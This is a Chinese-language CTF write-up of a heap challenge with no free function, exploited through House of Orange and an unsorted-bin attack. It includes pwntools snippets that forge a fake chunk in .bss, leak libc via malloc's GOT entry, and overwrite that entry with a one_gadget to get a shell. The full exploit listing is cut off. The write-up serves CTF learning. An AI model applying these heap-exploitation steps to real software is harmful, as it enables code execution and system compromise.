baby一点都不baby...houseoforange+unsortedbinattack
0x00 逆向分析
- main函数很简单,1申请2编辑3打印,但是没有free,google'no free pwn'了解到有可能是houseoforange
- add函数,两个约束(1. 最多申请32个chunk 2. chunk最大为0x1000),跟进chunk_size和chunk_ptr后发现两者在bss段挨得很近,所以这里其实可以伪造fake_chunk,后续可以考虑用fastbin attack或者unsortedbin attack来打(但这里没有free,就导致fastbin很难利用)
- edit函数
- show函数,只打印了8个字节就很难受
0x01 思路分析
- 我们肯定是要实现“leak libc”和“Any Address Write”
- leak libc
- 思路1:unsortedbin leak
- 理论上可行,但由于show只打印八个字节,所以必须要把unsortedbin里的chunk申请出来再打印,这样就会浪费一个chunk,后续利用比较麻烦
- 思路2:在bss段伪造fake_chunk写入got表,直接write出来
- 思路1:unsortedbin leak
- Any Address Write
- 思路1:常规unsortedbin attack
- 比较麻烦,我的评价是不如unsortedbin申请fake_chunk
- 思路2:unsortedbin 申请 fake_chunk
- 将victim.bk设置为fake_chunk_head,申请两次即可获得
- 思路1:常规unsortedbin attack
- leak libc
- 将写入的got表改写为og即可提权
0x02 具体步骤
- 由于add函数中,chunk_size会截断size,所以我们想要伪造0x111大小的chunk(Q1)的话,就必须要申请一个0x111,一个0x1大小的chunk才能正确伪造size段,而申请16个0x100大小的chunk是为了把0x4040c0-0x4040d0置零,即莫名其妙的八个字节(Q2)和fake_chunk的prev_size段
1
2
3
4
5
6payload = '\x00'
for i in range(16):
alloc(0x100,payload) # chunk0 - chunk15
alloc(0x111,payload) # chunk16
alloc(1,payload) # chunk17 - houseofOrange,此时unsortedbin中会有一个大小为0xdc0的chunk,记为victim
1
2
3payload = b'\x00'*0x18 + p64(0xdc1)
edit(17, len(payload),payload)
alloc(0x1000,payload) #18 - 伪造victim.bk = 0x4040c8(fake_chunk_head)
1
2payload = b'\x00'*0x18 + flat(0x111,b'deadbeef',0x4040c8)
edit(17, len(payload),payload) - 连续申请2个chunk,在chunk_ptr[0]的位置写入malloc_got,调用show函数中的write,即可获得libc
1
2
3
4
5
6
7
8payload = 'a'
alloc(0x100,payload)
malloc_got = elf.got['malloc']
payload = p64(0) + p64(malloc_got)
alloc(0x100,payload)
dump(0)
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['malloc']
print(f'libc_base ---> {hex(libc_base)}') - 调用edit函数,在chunk_ptr[0]指向的地址(即malloc的libc地址)写入og,调用malloc即可提权
1
2
3
4
5
6print(f'libc_base ---> {hex(libc_base)}')
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
payload = p64(libc_base + one_gadget[3])
edit(0,len(payload),payload)
io.sendlineafter('>', str(1))
io.sendlineafter('Size :', b'8')
0x03 一些问题
Q1: 为什么必须要伪造0x111大小的chunk呢?
Q2:
我感觉申请8个chunk就够了...把fake_chunk_head修改为0x4040c0也不是不行啊?
0x04 完整EXP
1 | from pwn import * |